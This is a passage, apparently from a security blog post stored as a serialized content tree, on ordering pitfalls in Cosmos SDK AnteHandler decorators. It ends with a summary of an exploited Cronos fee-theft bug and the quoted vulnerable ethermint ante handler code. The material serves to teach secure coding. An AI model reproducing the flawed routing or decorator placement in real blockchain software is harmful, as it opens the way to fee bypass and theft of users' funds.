next",{"type":22,"tag":101,"props":82211,"children":82212},{"style":114},[82213],{"type":27,"value":82148},{"type":22,"tag":101,"props":82215,"children":82216},{"style":120},[82217],{"type":27,"value":231},{"type":22,"tag":101,"props":82219,"children":82220},{"style":114},[82221],{"type":27,"value":81977},{"type":22,"tag":101,"props":82223,"children":82224},{"style":120},[82225],{"type":27,"value":179},{"type":22,"tag":101,"props":82227,"children":82228},{"class":103,"line":1071},[82229,82233,82238,82242,82246,82250,82254],{"type":22,"tag":101,"props":82230,"children":82231},{"style":120},[82232],{"type":27,"value":79889},{"type":22,"tag":101,"props":82234,"children":82235},{"style":114},[82236],{"type":27,"value":82237},"sdk",{"type":22,"tag":101,"props":82239,"children":82240},{"style":120},[82241],{"type":27,"value":231},{"type":22,"tag":101,"props":82243,"children":82244},{"style":114},[82245],{"type":27,"value":79856},{"type":22,"tag":101,"props":82247,"children":82248},{"style":120},[82249],{"type":27,"value":758},{"type":22,"tag":101,"props":82251,"children":82252},{"style":114},[82253],{"type":27,"value":18865},{"type":22,"tag":101,"props":82255,"children":82256},{"style":120},[82257],{"type":27,"value":1463},{"type":22,"tag":101,"props":82259,"children":82260},{"class":103,"line":1110},[82261,82266,82270,82275,82279,82283,82288,82293,82297,82302],{"type":22,"tag":101,"props":82262,"children":82263},{"style":126},[82264],{"type":27,"value":82265}," sigTx",{"type":22,"tag":101,"props":82267,"children":82268},{"style":120},[82269],{"type":27,"value":758},{"type":22,"tag":101,"props":82271,"children":82272},{"style":126},[82273],{"type":27,"value":82274},"ok",{"type":22,"tag":101,"props":82276,"children":82277},{"style":166},[82278],{"type":27,"value":79923},{"type":22,"tag":101,"props":82280,"children":82281},{"style":126},[82282],{"type":27,"value":71532},{"type":22,"tag":101,"props":82284,"children":82285},{"style":120},[82286],{"type":27,"value":82287},".(",{"type":22,"tag":101,"props":82289,"children":82290},{"style":114},[82291],{"type":27,"value":82292},"authsigning",{"type":22,"tag":101,"props":82294,"children":82295},{"style":120},[82296],{"type":27,"value":231},{"type":22,"tag":101,"props":82298,"children":82299},{"style":114},[82300],{"type":27,"value":82301},"SigVerifiableTx",{"type":22,"tag":101,"props":82303,"children":82304},{"style":120},[82305],{"type":27,"value":2510},{"type":22,"tag":101,"props":82307,"children":82308},{"class":103,"line":1118},[82309,82313,82317,82321],{"type":22,"tag":101,"props":82310,"children":82311},{"style":3595},[82312],{"type":27,"value":16283},{"type":22,"tag":101,"props":82314,"children":82315},{"style":166},[82316],{"type":27,"value":16868},{"type":22,"tag":101,"props":82318,"children":82319},{"style":126},[82320],{"type":27,"value":82274},{"type":22,"tag":101,"props":82322,"children":82323},{"style":120},[82324],{"type":27,"value":154},{"type":22,"tag":101,"props":82326,"children":82327},{"class":103,"line":1158},[82328,82332,82336,82340,82345,82349,82354],{"type":22,"tag":101,"props":82329,"children":82330},{"style":3595},[82331],{"type":27,"value":19742},{"type":22,"tag":101,"props":82333,"children":82334},{"style":126},[82335],{"type":27,"value":29841},{"type":22,"tag":101,"props":82337,"children":82338},{"style":120},[82339],{"type":27,"value":758},{"type":22,"tag":101,"props":82341,"children":82342},{"style":126},[82343],{"type":27,"value":82344},"errorsmod",{"type":22,"tag":101,"props":82346,"children":82347},{"style":120},[82348],{"type":27,"value":231},{"type":22,"tag":101,"props":82350,"children":82351},{"style":926},[82352],{"type":27,"value":82353},"Wrap",{"type":22,"tag":101,"props":82355,"children":82356},{"style":120},[82357],{"type":27,"value":1850},{"type":22,"tag":101,"props":82359,"children":82360},{"class":103,"line":1166},[82361,82366,82370,82375],{"type":22,"tag":101,"props":82362,"children":82363},{"style":126},[82364],{"type":27,"value":82365}," sdkerrors",{"type":22,"tag":101,"props":82367,"children":82368},{"style":120},[82369],{"type":27,"value":231},{"type":22,"tag":101,"props":82371,"children":82372},{"style":126},[82373],{"type":27,"value":82374},"ErrTxDecode",{"type":22,"tag":101,"props":82376,"children":82377},{"style":120},[82378],{"type":27,"value":179},{"type":22,"tag":101,"props":82380,"children":82381},{"class":103,"line":1215},[82382,82387],{"type":22,"tag":101,"props":82383,"children":82384},{"style":6476},[82385],{"type":27,"value":82386}," \"invalid tx type\"",{"type":22,"tag":101,"props":82388,"children":82389},{"style":120},[82390],{"type":27,"value":179},{"type":22,"tag":101,"props":82392,"children":82393},{"class":103,"line":2425},[82394],{"type":22,"tag":101,"props":82395,"children":82396},{"style":120},[82397],{"type":27,"value":71825},{"type":22,"tag":101,"props":82399,"children":82400},{"class":103,"line":5417},[82401],{"type":22,"tag":101,"props":82402,"children":82403},{"style":120},[82404],{"type":27,"value":1734},{"type":22,"tag":101,"props":82406,"children":82407},{"class":103,"line":7714},[82408],{"type":22,"tag":101,"props":82409,"children":82410},{"emptyLinePlaceholder":15},[82411],{"type":27,"value":1581},{"type":22,"tag":101,"props":82413,"children":82414},{"class":103,"line":7723},[82415,82420,82424,82429,82433,82438],{"type":22,"tag":101,"props":82416,"children":82417},{"style":126},[82418],{"type":27,"value":82419}," signers",{"type":22,"tag":101,"props":82421,"children":82422},{"style":166},[82423],{"type":27,"value":79923},{"type":22,"tag":101,"props":82425,"children":82426},{"style":126},[82427],{"type":27,"value":82428}," sigTx",{"type":22,"tag":101,"props":82430,"children":82431},{"style":120},[82432],{"type":27,"value":231},{"type":22,"tag":101,"props":82434,"children":82435},{"style":926},[82436],{"type":27,"value":82437},"GetSigners",{"type":22,"tag":101,"props":82439,"children":82440},{"style":120},[82441],{"type":27,"value":11746},{"type":22,"tag":101,"props":82443,"children":82444},{"class":103,"line":7791},[82445,82449,82453,82457,82461,82465,82469,82474],{"type":22,"tag":101,"props":82446,"children":82447},{"style":3595},[82448],{"type":27,"value":7078},{"type":22,"tag":101,"props":82450,"children":82451},{"style":126},[82452],{"type":27,"value":7435},{"type":22,"tag":101,"props":82454,"children":82455},{"style":120},[82456],{"type":27,"value":758},{"type":22,"tag":101,"props":82458,"children":82459},{"style":126},[82460],{"type":27,"value":875},{"type":22,"tag":101,"props":82462,"children":82463},{"style":166},[82464],{"type":27,"value":79923},{"type":22,"tag":101,"props":82466,"children":82467},{"style":3595},[82468],{"type":27,"value":80906},{"type":22,"tag":101,"props":82470,"children":82471},{"style":126},[82472],{"type":27,"value":82473}," signers",{"type":22,"tag":101,"props":82475,"children":82476},{"style":120},[82477],{"type":27,"value":154},{"type":22,"tag":101,"props":82479,"children":82480},{"class":103,"line":7799},[82481,82486,82490,82495,82499,82504,82508,82513,82517,82521,82525,82529,82533,82538],{"type":22,"tag":101,"props":82482,"children":82483},{"style":126},[82484],{"type":27,"value":82485}," balance",{"type":22,"tag":101,"props":82487,"children":82488},{"style":166},[82489],{"type":27,"value":79923},{"type":22,"tag":101,"props":82491,"children":82492},{"style":126},[82493],{"type":27,"value":82494}," abd",{"type":22,"tag":101,"props":82496,"children":82497},{"style":120},[82498],{"type":27,"value":231},{"type":22,"tag":101,"props":82500,"children":82501},{"style":126},[82502],{"type":27,"value":82503},"bk",{"type":22,"tag":101,"props":82505,"children":82506},{"style":120},[82507],{"type":27,"value":231},{"type":22,"tag":101,"props":82509,"children":82510},{"style":926},[82511],{"type":27,"value":82512},"getBalance",{"type":22,"tag":101,"props":82514,"children":82515},{"style":120},[82516],{"type":27,"value":980},{"type":22,"tag":101,"props":82518,"children":82519},{"style":126},[82520],{"type":27,"value":24271},{"type":22,"tag":101,"props":82522,"children":82523},{"style":120},[82524],{"type":27,"value":758},{"type":22,"tag":101,"props":82526,"children":82527},{"style":126},[82528],{"type":27,"value":875},{"type":22,"tag":101,"props":82530,"children":82531},{"style":120},[82532],{"type":27,"value":758},{"type":22,"tag":101,"props":82534,"children":82535},{"style":126},[82536],{"type":27,"value":82537},"ATOM",{"type":22,"tag":101,"props":82539,"children":82540},{"style":120},[82541],{"type":27,"value":2510},{"type":22,"tag":101,"props":82543,"children":82544},{"class":103,"line":7829},[82545,82549,82554,82558,82563,82567,82572],{"type":22,"tag":101,"props":82546,"children":82547},{"style":3595},[82548],{"type":27,"value":7312},{"type":22,"tag":101,"props":82550,"children":82551},{"style":126},[82552],{"type":27,"value":82553}," balance",{"type":22,"tag":101,"props":82555,"children":82556},{"style":120},[82557],{"type":27,"value":231},{"type":22,"tag":101,"props":82559,"children":82560},{"style":126},[82561],{"type":27,"value":82562},"Amount",{"type":22,"tag":101,"props":82564,"children":82565},{"style":166},[82566],{"type":27,"value":12726},{"type":22,"tag":101,"props":82568,"children":82569},{"style":126},[82570],{"type":27,"value":82571}," MIN_BALANCE",{"type":22,"tag":101,"props":82573,"children":82574},{"style":120},[82575],{"type":27,"value":154},{"type":22,"tag":101,"props":82577,"children":82578},{"class":103,"line":7837},[82579,82584,82588,82592,82596,82600,82604],{"type":22,"tag":101,"props":82580,"children":82581},{"style":3595},[82582],{"type":27,"value":82583}," return",{"type":22,"tag":101,"props":82585,"children":82586},{"style":126},[82587],{"type":27,"value":29841},{"type":22,"tag":101,"props":82589,"children":82590},{"style":120},[82591],{"type":27,"value":758},{"type":22,"tag":101,"props":82593,"children":82594},{"style":126},[82595],{"type":27,"value":82344},{"type":22,"tag":101,"props":82597,"children":82598},{"style":120},[82599],{"type":27,"value":231},{"type":22,"tag":101,"props":82601,"children":82602},{"style":926},[82603],{"type":27,"value":82353},{"type":22,"tag":101,"props":82605,"children":82606},{"style":120},[82607],{"type":27,"value":1850},{"type":22,"tag":101,"props":82609,"children":82610},{"class":103,"line":7868},[82611,82616],{"type":22,"tag":101,"props":82612,"children":82613},{"style":126},[82614],{"type":27,"value":82615}," ErrInsufficientBalance",{"type":22,"tag":101,"props":82617,"children":82618},{"style":120},[82619],{"type":27,"value":179},{"type":22,"tag":101,"props":82621,"children":82622},{"class":103,"line":7876},[82623,82628],{"type":22,"tag":101,"props":82624,"children":82625},{"style":6476},[82626],{"type":27,"value":82627}," \"Insufficient Balance\"",{"type":22,"tag":101,"props":82629,"children":82630},{"style":120},[82631],{"type":27,"value":179},{"type":22,"tag":101,"props":82633,"children":82634},{"class":103,"line":7936},[82635],{"type":22,"tag":101,"props":82636,"children":82637},{"style":120},[82638],{"type":27,"value":81022},{"type":22,"tag":101,"props":82640,"children":82641},{"class":103,"line":13054},[82642],{"type":22,"tag":101,"props":82643,"children":82644},{"style":120},[82645],{"type":27,"value":2398},{"type":22,"tag":101,"props":82647,"children":82648},{"class":103,"line":13072},[82649],{"type":22,"tag":101,"props":82650,"children":82651},{"style":120},[82652],{"type":27,"value":1734},{"type":22,"tag":101,"props":82654,"children":82655},{"class":103,"line":13117},[82656],{"type":22,"tag":101,"props":82657,"children":82658},{"emptyLinePlaceholder":15},[82659],{"type":27,"value":1581},{"type":22,"tag":101,"props":82661,"children":82662},{"class":103,"line":13223},[82663,82667,82672,82676,82680,82684,82689,82693,82698],{"type":22,"tag":101,"props":82664,"children":82665},{"style":3595},[82666],{"type":27,"value":20986},{"type":22,"tag":101,"props":82668,"children":82669},{"style":926},[82670],{"type":27,"value":82671}," next",{"type":22,"tag":101,"props":82673,"children":82674},{"style":120},[82675],{"type":27,"value":980},{"type":22,"tag":101,"props":82677,"children":82678},{"style":126},[82679],{"type":27,"value":24271},{"type":22,"tag":101,"props":82681,"children":82682},{"style":120},[82683],{"type":27,"value":758},{"type":22,"tag":101,"props":82685,"children":82686},{"style":126},[82687],{"type":27,"value":82688},"tx",{"type":22,"tag":101,"props":82690,"children":82691},{"style":120},[82692],{"type":27,"value":758},{"type":22,"tag":101,"props":82694,"children":82695},{"style":126},[82696],{"type":27,"value":82697},"simulate",{"type":22,"tag":101,"props":82699,"children":82700},{"style":120},[82701],{"type":27,"value":2510},{"type":22,"tag":101,"props":82703,"children":82704},{"class":103,"line":27496},[82705],{"type":22,"tag":101,"props":82706,"children":82707},{"style":120},[82708],{"type":27,"value":188},{"type":22,"tag":23,"props":82710,"children":82711},{},[82712,82714,82719,82721,82727,82729,82735],{"type":27,"value":82713},"Where should this custom ",{"type":22,"tag":30,"props":82715,"children":82717},{"className":82716},[],[82718],{"type":27,"value":81977},{"type":27,"value":82720}," be placed relative to other ",{"type":22,"tag":30,"props":82722,"children":82724},{"className":82723},[],[82725],{"type":27,"value":82726},"AnteHandlers",{"type":27,"value":82728}," provided by cosmos-sdk?\nConsidering that we are only concerned with transactions that satisfy our check, inserting it right after the ",{"type":22,"tag":30,"props":82730,"children":82732},{"className":82731},[],[82733],{"type":27,"value":82734},"SetUpContextDecorator",{"type":27,"value":82736}," should work, right?",{"type":22,"tag":23,"props":82738,"children":82739},{},[82740],{"type":22,"tag":80,"props":82741,"children":82744},{"href":82742,"rel":82743},"https://github.com/cosmos/cosmos-sdk/blob/f0aec3f30dd952e1b4b3a5b25e0412c1af5baaac/x/auth/ante/ante.go#L41",[84],[82745],{"type":27,"value":80246},{"type":22,"tag":91,"props":82747,"children":82749},{"code":82748,"language":79671,"meta":7,"className":79672,"style":7},"anteDecorators := []sdk.AnteDecorator{\n NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n // INSERT HERE\n NewExtensionOptionsDecorator(options.ExtensionOptionChecker),\n NewValidateBasicDecorator(),\n NewTxTimeoutHeightDecorator(),\n NewValidateMemoDecorator(options.AccountKeeper),\n NewConsumeGasForTxSizeDecorator(options.AccountKeeper),\n NewDeductFeeDecorator(options.AccountKeeper, options.BankKeeper, options.FeegrantKeeper, options.TxFeeChecker),\n NewSetPubKeyDecorator(options.AccountKeeper), // SetPubKeyDecorator must be called before all signature verification decorators\n NewValidateSigCountDecorator(options.AccountKeeper),\n NewSigGasConsumeDecorator(options.AccountKeeper, options.SigGasConsumer),\n NewSigVerificationDecorator(options.AccountKeeper, options.SignModeHandler),\n NewIncrementSequenceDecorator(options.AccountKeeper),\n}\n",[82750],{"type":22,"tag":30,"props":82751,"children":82752},{"__ignoreMap":7},[82753,82786,82803,82811,82840,82852,82864,82893,82921,83000,83033,83061,83106,83151,83179],{"type":22,"tag":101,"props":82754,"children":82755},{"class":103,"line":104},[82756,82761,82765,82769,82773,82777,82782],{"type":22,"tag":101,"props":82757,"children":82758},{"style":126},[82759],{"type":27,"value":82760},"anteDecorators",{"type":22,"tag":101,"props":82762,"children":82763},{"style":166},[82764],{"type":27,"value":79923},{"type":22,"tag":101,"props":82766,"children":82767},{"style":120},[82768],{"type":27,"value":79734},{"type":22,"tag":101,"props":82770,"children":82771},{"style":114},[82772],{"type":27,"value":82237},{"type":22,"tag":101,"props":82774,"children":82775},{"style":120},[82776],{"type":27,"value":231},{"type":22,"tag":101,"props":82778,"children":82779},{"style":114},[82780],{"type":27,"value":82781},"AnteDecorator",{"type":22,"tag":101,"props":82783,"children":82784},{"style":120},[82785],{"type":27,"value":14886},{"type":22,"tag":101,"props":82787,"children":82788},{"class":103,"line":157},[82789,82794,82798],{"type":22,"tag":101,"props":82790,"children":82791},{"style":926},[82792],{"type":27,"value":82793}," NewSetUpContextDecorator",{"type":22,"tag":101,"props":82795,"children":82796},{"style":120},[82797],{"type":27,"value":1147},{"type":22,"tag":101,"props":82799,"children":82800},{"style":2215},[82801],{"type":27,"value":82802},"// outermost AnteDecorator. SetUpContext must be called first\n",{"type":22,"tag":101,"props":82804,"children":82805},{"class":103,"line":182},[82806],{"type":22,"tag":101,"props":82807,"children":82808},{"style":2215},[82809],{"type":27,"value":82810}," // INSERT HERE\n",{"type":22,"tag":101,"props":82812,"children":82813},{"class":103,"line":367},[82814,82819,82823,82827,82831,82836],{"type":22,"tag":101,"props":82815,"children":82816},{"style":926},[82817],{"type":27,"value":82818}," NewExtensionOptionsDecorator",{"type":22,"tag":101,"props":82820,"children":82821},{"style":120},[82822],{"type":27,"value":980},{"type":22,"tag":101,"props":82824,"children":82825},{"style":126},[82826],{"type":27,"value":40035},{"type":22,"tag":101,"props":82828,"children":82829},{"style":120},[82830],{"type":27,"value":231},{"type":22,"tag":101,"props":82832,"children":82833},{"style":126},[82834],{"type":27,"value":82835},"ExtensionOptionChecker",{"type":22,"tag":101,"props":82837,"children":82838},{"style":120},[82839],{"type":27,"value":1706},{"type":22,"tag":101,"props":82841,"children":82842},{"class":103,"line":398},[82843,82848],{"type":22,"tag":101,"props":82844,"children":82845},{"style":926},[82846],{"type":27,"value":82847}," NewValidateBasicDecorator",{"type":22,"tag":101,"props":82849,"children":82850},{"style":120},[82851],{"type":27,"value":7526},{"type":22,"tag":101,"props":82853,"children":82854},{"class":103,"line":428},[82855,82860],{"type":22,"tag":101,"props":82856,"children":82857},{"style":926},[82858],{"type":27,"value":82859}," NewTxTimeoutHeightDecorator",{"type":22,"tag":101,"props":82861,"children":82862},{"style":120},[82863],{"type":27,"value":7526},{"type":22,"tag":101,"props":82865,"children":82866},{"class":103,"line":997},[82867,82872,82876,82880,82884,82889],{"type":22,"tag":101,"props":82868,"children":82869},{"style":926},[82870],{"type":27,"value":82871}," NewValidateMemoDecorator",{"type":22,"tag":101,"props":82873,"children":82874},{"style":120},[82875],{"type":27,"value":980},{"type":22,"tag":101,"props":82877,"children":82878},{"style":126},[82879],{"type":27,"value":40035},{"type":22,"tag":101,"props":82881,"children":82882},{"style":120},[82883],{"type":27,"value":231},{"type":22,"tag":101,"props":82885,"children":82886},{"style":126},[82887],{"type":27,"value":82888},"AccountKeeper",{"type":22,"tag":101,"props":82890,"children":82891},{"style":120},[82892],{"type":27,"value":1706},{"type":22,"tag":101,"props":82894,"children":82895},{"class":103,"line":1032},[82896,82901,82905,82909,82913,82917],{"type":22,"tag":101,"props":82897,"children":82898},{"style":926},[82899],{"type":27,"value":82900}," NewConsumeGasForTxSizeDecorator",{"type":22,"tag":101,"props":82902,"children":82903},{"style":120},[82904],{"type":27,"value":980},{"type":22,"tag":101,"props":82906,"children":82907},{"style":126},[82908],{"type":27,"value":40035},{"type":22,"tag":101,"props":82910,"children":82911},{"style":120},[82912],{"type":27,"value":231},{"type":22,"tag":101,"props":82914,"children":82915},{"style":126},[82916],{"type":27,"value":82888},{"type":22,"tag":101,"props":82918,"children":82919},{"style":120},[82920],{"type":27,"value":1706},{"type":22,"tag":101,"props":82922,"children":82923},{"class":103,"line":1063},[82924,82929,82933,82937,82941,82945,82949,82953,82957,82962,82966,82970,82974,82979,82983,82987,82991,82996],{"type":22,"tag":101,"props":82925,"children":82926},{"style":926},[82927],{"type":27,"value":82928}," NewDeductFeeDecorator",{"type":22,"tag":101,"props":82930,"children":82931},{"style":120},[82932],{"type":27,"value":980},{"type":22,"tag":101,"props":82934,"children":82935},{"style":126},[82936],{"type":27,"value":40035},{"type":22,"tag":101,"props":82938,"children":82939},{"style":120},[82940],{"type":27,"value":231},{"type":22,"tag":101,"props":82942,"children":82943},{"style":126},[82944],{"type":27,"value":82888},{"type":22,"tag":101,"props":82946,"children":82947},{"style":120},[82948],{"type":27,"value":758},{"type":22,"tag":101,"props":82950,"children":82951},{"style":126},[82952],{"type":27,"value":40035},{"type":22,"tag":101,"props":82954,"children":82955},{"style":120},[82956],{"type":27,"value":231},{"type":22,"tag":101,"props":82958,"children":82959},{"style":126},[82960],{"type":27,"value":82961},"BankKeeper",{"type":22,"tag":101,"props":82963,"children":82964},{"style":120},[82965],{"type":27,"value":758},{"type":22,"tag":101,"props":82967,"children":82968},{"style":126},[82969],{"type":27,"value":40035},{"type":22,"tag":101,"props":82971,"children":82972},{"style":120},[82973],{"type":27,"value":231},{"type":22,"tag":101,"props":82975,"children":82976},{"style":126},[82977],{"type":27,"value":82978},"FeegrantKeeper",{"type":22,"tag":101,"props":82980,"children":82981},{"style":120},[82982],{"type":27,"value":758},{"type":22,"tag":101,"props":82984,"children":82985},{"style":126},[82986],{"type":27,"value":40035},{"type":22,"tag":101,"props":82988,"children":82989},{"style":120},[82990],{"type":27,"value":231},{"type":22,"tag":101,"props":82992,"children":82993},{"style":126},[82994],{"type":27,"value":82995},"TxFeeChecker",{"type":22,"tag":101,"props":82997,"children":82998},{"style":120},[82999],{"type":27,"value":1706},{"type":22,"tag":101,"props":83001,"children":83002},{"class":103,"line":1071},[83003,83008,83012,83016,83020,83024,83028],{"type":22,"tag":101,"props":83004,"children":83005},{"style":926},[83006],{"type":27,"value":83007}," NewSetPubKeyDecorator",{"type":22,"tag":101,"props":83009,"children":83010},{"style":120},[83011],{"type":27,"value":980},{"type":22,"tag":101,"props":83013,"children":83014},{"style":126},[83015],{"type":27,"value":40035},{"type":22,"tag":101,"props":83017,"children":83018},{"style":120},[83019],{"type":27,"value":231},{"type":22,"tag":101,"props":83021,"children":83022},{"style":126},[83023],{"type":27,"value":82888},{"type":22,"tag":101,"props":83025,"children":83026},{"style":120},[83027],{"type":27,"value":1099},{"type":22,"tag":101,"props":83029,"children":83030},{"style":2215},[83031],{"type":27,"value":83032},"// SetPubKeyDecorator must be called before all signature verification decorators\n",{"type":22,"tag":101,"props":83034,"children":83035},{"class":103,"line":1110},[83036,83041,83045,83049,83053,83057],{"type":22,"tag":101,"props":83037,"children":83038},{"style":926},[83039],{"type":27,"value":83040}," NewValidateSigCountDecorator",{"type":22,"tag":101,"props":83042,"children":83043},{"style":120},[83044],{"type":27,"value":980},{"type":22,"tag":101,"props":83046,"children":83047},{"style":126},[83048],{"type":27,"value":40035},{"type":22,"tag":101,"props":83050,"children":83051},{"style":120},[83052],{"type":27,"value":231},{"type":22,"tag":101,"props":83054,"children":83055},{"style":126},[83056],{"type":27,"value":82888},{"type":22,"tag":101,"props":83058,"children":83059},{"style":120},[83060],{"type":27,"value":1706},{"type":22,"tag":101,"props":83062,"children":83063},{"class":103,"line":1118},[83064,83069,83073,83077,83081,83085,83089,83093,83097,83102],{"type":22,"tag":101,"props":83065,"children":83066},{"style":926},[83067],{"type":27,"value":83068}," NewSigGasConsumeDecorator",{"type":22,"tag":101,"props":83070,"children":83071},{"style":120},[83072],{"type":27,"value":980},{"type":22,"tag":101,"props":83074,"children":83075},{"style":126},[83076],{"type":27,"value":40035},{"type":22,"tag":101,"props":83078,"children":83079},{"style":120},[83080],{"type":27,"value":231},{"type":22,"tag":101,"props":83082,"children":83083},{"style":126},[83084],{"type":27,"value":82888},{"type":22,"tag":101,"props":83086,"children":83087},{"style":120},[83088],{"type":27,"value":758},{"type":22,"tag":101,"props":83090,"children":83091},{"style":126},[83092],{"type":27,"value":40035},{"type":22,"tag":101,"props":83094,"children":83095},{"style":120},[83096],{"type":27,"value":231},{"type":22,"tag":101,"props":83098,"children":83099},{"style":126},[83100],{"type":27,"value":83101},"SigGasConsumer",{"type":22,"tag":101,"props":83103,"children":83104},{"style":120},[83105],{"type":27,"value":1706},{"type":22,"tag":101,"props":83107,"children":83108},{"class":103,"line":1158},[83109,83114,83118,83122,83126,83130,83134,83138,83142,83147],{"type":22,"tag":101,"props":83110,"children":83111},{"style":926},[83112],{"type":27,"value":83113}," NewSigVerificationDecorator",{"type":22,"tag":101,"props":83115,"children":83116},{"style":120},[83117],{"type":27,"value":980},{"type":22,"tag":101,"props":83119,"children":83120},{"style":126},[83121],{"type":27,"value":40035},{"type":22,"tag":101,"props":83123,"children":83124},{"style":120},[83125],{"type":27,"value":231},{"type":22,"tag":101,"props":83127,"children":83128},{"style":126},[83129],{"type":27,"value":82888},{"type":22,"tag":101,"props":83131,"children":83132},{"style":120},[83133],{"type":27,"value":758},{"type":22,"tag":101,"props":83135,"children":83136},{"style":126},[83137],{"type":27,"value":40035},{"type":22,"tag":101,"props":83139,"children":83140},{"style":120},[83141],{"type":27,"value":231},{"type":22,"tag":101,"props":83143,"children":83144},{"style":126},[83145],{"type":27,"value":83146},"SignModeHandler",{"type":22,"tag":101,"props":83148,"children":83149},{"style":120},[83150],{"type":27,"value":1706},{"type":22,"tag":101,"props":83152,"children":83153},{"class":103,"line":1166},[83154,83159,83163,83167,83171,83175],{"type":22,"tag":101,"props":83155,"children":83156},{"style":926},[83157],{"type":27,"value":83158}," NewIncrementSequenceDecorator",{"type":22,"tag":101,"props":83160,"children":83161},{"style":120},[83162],{"type":27,"value":980},{"type":22,"tag":101,"props":83164,"children":83165},{"style":126},[83166],{"type":27,"value":40035},{"type":22,"tag":101,"props":83168,"children":83169},{"style":120},[83170],{"type":27,"value":231},{"type":22,"tag":101,"props":83172,"children":83173},{"style":126},[83174],{"type":27,"value":82888},{"type":22,"tag":101,"props":83176,"children":83177},{"style":120},[83178],{"type":27,"value":1706},{"type":22,"tag":101,"props":83180,"children":83181},{"class":103,"line":1215},[83182],{"type":22,"tag":101,"props":83183,"children":83184},{"style":120},[83185],{"type":27,"value":188},{"type":22,"tag":23,"props":83187,"children":83188},{},[83189,83191,83196,83198,83204,83205,83211],{"type":27,"value":83190},"Unfortunately, that order wouldn't work. This is because there are other ",{"type":22,"tag":30,"props":83192,"children":83194},{"className":83193},[],[83195],{"type":27,"value":82726},{"type":27,"value":83197},", such as ",{"type":22,"tag":30,"props":83199,"children":83201},{"className":83200},[],[83202],{"type":27,"value":83203},"SigGasConsumeDecorator",{"type":27,"value":209},{"type":22,"tag":30,"props":83206,"children":83208},{"className":83207},[],[83209],{"type":27,"value":83210},"ConsumeGasForTxSizeDecorator",{"type":27,"value":83212},", that modify account balances. By placing our decorator at the very start of the chain, we might pass the check and later have the signers' balances deducted before reaching the end of the decorator chain and starting transaction execution. Consequently, the invariance we intended to ensure may no longer hold, rendering our check useless.",{"type":22,"tag":23,"props":83214,"children":83215},{},[83216,83218,83224,83226,83231],{"type":27,"value":83217},"The easiest \"mitigation\" is to move our decorator down into the chain list. We say this lightly because it's important to consider various factors such as whether nested ",{"type":22,"tag":30,"props":83219,"children":83221},{"className":83220},[],[83222],{"type":27,"value":83223},"msgs",{"type":27,"value":83225}," are allowed (e.g. the authz module is present), as this precaution alone might not be enough to fully resolve the issue. Without a comprehensive understanding of the entire system, there is a risk that mistakes will still be made in the ",{"type":22,"tag":30,"props":83227,"children":83229},{"className":83228},[],[83230],{"type":27,"value":82052},{"type":27,"value":83232}," chain.",{"type":22,"tag":1760,"props":83234,"children":83236},{"id":83235},"real-world-examples-2",[83237],{"type":27,"value":80196},{"type":22,"tag":23,"props":83239,"children":83240},{},[83241,83243,83248,83250,83257],{"type":27,"value":83242},"An instance of ",{"type":22,"tag":30,"props":83244,"children":83246},{"className":83245},[],[83247],{"type":27,"value":81977},{"type":27,"value":83249}," misuse is a ",{"type":22,"tag":80,"props":83251,"children":83254},{"href":83252,"rel":83253},"https://medium.com/immunefi/cronos-theft-of-transactions-fees-bugfix-postmortem-b33f941b9570",[84],[83255],{"type":27,"value":83256},"Theft of Fund bug",{"type":27,"value":83258}," that was exploited in a Cronos contract.",{"type":22,"tag":23,"props":83260,"children":83261},{},[83262,83264,83269,83271,83276,83278,83284,83286,83292,83294,83299,83301,83306],{"type":27,"value":83263},"In this scenario, ",{"type":22,"tag":30,"props":83265,"children":83267},{"className":83266},[],[83268],{"type":27,"value":83223},{"type":27,"value":83270}," are multiplexed to different ",{"type":22,"tag":30,"props":83272,"children":83274},{"className":83273},[],[83275],{"type":27,"value":81977},{"type":27,"value":83277}," sets through the user-controlled ",{"type":22,"tag":30,"props":83279,"children":83281},{"className":83280},[],[83282],{"type":27,"value":83283},"ExtensionOptionsEthereumTx",{"type":27,"value":83285}," option. However, due to a lack of tx validation, if a ",{"type":22,"tag":30,"props":83287,"children":83289},{"className":83288},[],[83290],{"type":27,"value":83291},"MsgEthereumTx",{"type":27,"value":83293}," does not have ",{"type":22,"tag":30,"props":83295,"children":83297},{"className":83296},[],[83298],{"type":27,"value":83283},{"type":27,"value":83300}," specified, it will be routed to non-Ethereum ",{"type":22,"tag":30,"props":83302,"children":83304},{"className":83303},[],[83305],{"type":27,"value":82726},{"type":27,"value":83307},", failing to collect fees from users as intended. Consequently, attackers can exploit the fee refund at the end of transaction processing to steal funds.",{"type":22,"tag":23,"props":83309,"children":83310},{},[83311],{"type":22,"tag":80,"props":83312,"children":83315},{"href":83313,"rel":83314},"https://github.com/crypto-org-chain/ethermint/blob/82805507f7d2e83cad547736883dc22acfb52440/app/ante/ante.go#L33",[84],[83316],{"type":27,"value":80246},{"type":22,"tag":91,"props":83318,"children":83320},{"code":83319,"language":79671,"meta":7,"className":79672,"style":7},"func NewAnteHandler(\n ak evmtypes.AccountKeeper,\n bankKeeper evmtypes.BankKeeper,\n evmKeeper EVMKeeper,\n feeGrantKeeper authante.FeegrantKeeper,\n channelKeeper channelkeeper.Keeper,\n signModeHandler authsigning.SignModeHandler,\n) sdk.AnteHandler {\n return func(\n ctx sdk.Context, tx sdk.Tx, sim bool,\n ) (newCtx sdk.Context, err error) {\n var anteHandler sdk.AnteHandler\n\n defer Recover(ctx.Logger(), &err)\n\n txWithExtensions, ok := tx.(authante.HasExtensionOptionsTx)\n if ok {\n opts := txWithExtensions.GetExtensionOptions()\n if len(opts) > 0 {\n switch typeURL := opts[0].GetTypeUrl(); typeURL {\n case \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\":\n // handle as *evmtypes.MsgEthereumTx\n\n anteHandler = sdk.ChainAnteDecorators(\n NewEthSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n NewEthIncrementSenderSequenceDecorator(ak), // innermost AnteDecorator.\n )\n\n default:\n return ctx, stacktrace.Propagate(\n sdkerrors.Wrap(sdkerrors.ErrUnknownExtensionOptions, typeURL),\n \"rejecting tx with unsupported extension option\",\n )\n }\n\n return anteHandler(ctx, tx, sim)\n }\n }\n\n // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n\n switch tx.(type) {\n case sdk.Tx:\n anteHandler = sdk.ChainAnteDecorators(\n authante.NewSetUpContextDecorator(), // outermost AnteDecorator. SetUpContext must be called first\n ...\n authante.NewIncrementSequenceDecorator(ak), // innermost AnteDecorator\n )\n default:\n return ctx, stacktrace.Propagate(\n 